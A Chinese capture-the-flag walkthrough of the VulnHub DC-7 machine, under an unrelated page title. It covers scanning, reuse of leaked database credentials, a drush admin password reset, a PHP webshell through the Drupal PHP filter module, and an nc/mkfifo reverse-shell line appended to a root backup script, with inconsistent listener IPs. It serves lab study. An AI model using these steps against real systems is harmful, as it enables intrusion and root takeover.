1. 程式人生 > 其它 >訊息中介軟體MQ與RabbitMQ面試題(2022最新版)

訊息中介軟體MQ與RabbitMQ面試題(2022最新版)

準備工作

在vulnhub官網下載DC:7靶機DC: 7 ~ VulnHub
靶機匯入VMware 網路介面卡改為NAT模式

靶機IP為 192.168.1.16

資訊收集

nmap -A -T4 -sV -p - 192.168.1.16 對目標進行掃描

開放了22、80埠。訪問80埠發現是Drupal的CMS

進行目錄掃描

dirsearch -u http://192.168.1.16

沒有發現什麼有用的線索

觀察頁面發現作者資訊

然後就在GitHub上找到了原始碼

Drush

可以看到我們獲取到了資料庫的使用者名稱和密碼,嘗試遠端連線資料庫

mysql -h 192.168.1.16 -u dc7user -p MdR3xOgB7#dW

失敗了

嘗試使用ssh

成功 並且可以看到有一封郵件,我們進去mail檔案檢視

看內容是通過這個指令碼/opt/scripts/backups.sh將資料庫自動備份到/home/dc7user/backups/website.sql,這個指令碼還是root許可權

在這個指令碼中發現了 Drush命令

Drush是Drupal的命令列shell和Unix指令碼介面。Drush Core附帶了許多有用的命令,可用於與模組/主題/配置檔案等程式碼進行互動。gpg是加密的命令

查了一下drush命令可以修改密碼,但是使用drush命令的時候要先切換到網站原始碼所在的目錄,不然會報錯

進入網站目錄/var/www/html。用drush命令將admin的密碼改成admin

drush user-password admin --password=``"admin"``  

成功登入到後臺 尋找可以利用的點

記得前面的靶機中,drupal有個模組可以執行php程式碼來著。

尋找cms中模組安裝功能在哪,百度尋找該cms存在漏洞的功能模組等,嘗試安裝存在漏洞的功能模組/主題/外掛,最後通過其漏洞實現侵入。

進入後臺發現這裡可以編輯頁面,那就可以寫一句話木馬,但是查到drupal8不支援php程式碼,查詢資料發現需要匯入一個模組

模組地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz  輸入直接安裝

選第二個選項,拉到下面將PHPFiter勾選,再拉到底部安裝

然後回到剛剛編輯首頁,可以看到有php的選項了,插入一句話程式碼

使用蟻劍連線並反彈shell

使用python反彈shell

python -c 'import pty;pty.spawn("/bin/bash")'

許可權提升

然後翻閱別人的文章,抄過來一條命令

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 4444 >/tmp/f" >> backups.sh

rm /tmp/f;

mkfifo /tmp/f;

cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f

rm /tmp/f 刪除該檔案(以免跟後面定義的 管道符 衝突)

mkfifo /tmp/f 這是建立自定義有名管道符。管道符的名稱是 /tmp/f (用於程序間的通訊, 如 ls > /tmp/f ,cat /tmp/f ,連通兩個程序之間的通訊)

cat /tmp/f 取出管道符中的內容, |/bin/sh -i 2>&1 將前面取出的內容作為 輸入 ,輸入給 /bin/sh ,再將bash 的標準錯誤輸出 也作為標準輸入 (2 >&1)給bash ,然後再將bash的輸出,傳給nc 遠端,再將nc 傳來的資料,寫入 管道符 /tmp/f 。最後首尾接通了。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 1234 >/tmp/f" >> backups.sh

然後監聽1234埠即可

成功獲得flag

參考文章

DC-7 靶機滲透測試 - Bitores - 部落格園 (cnblogs.com)  

DC:7靶機-Walkthrough_ins1ght的部落格-CSDN部落格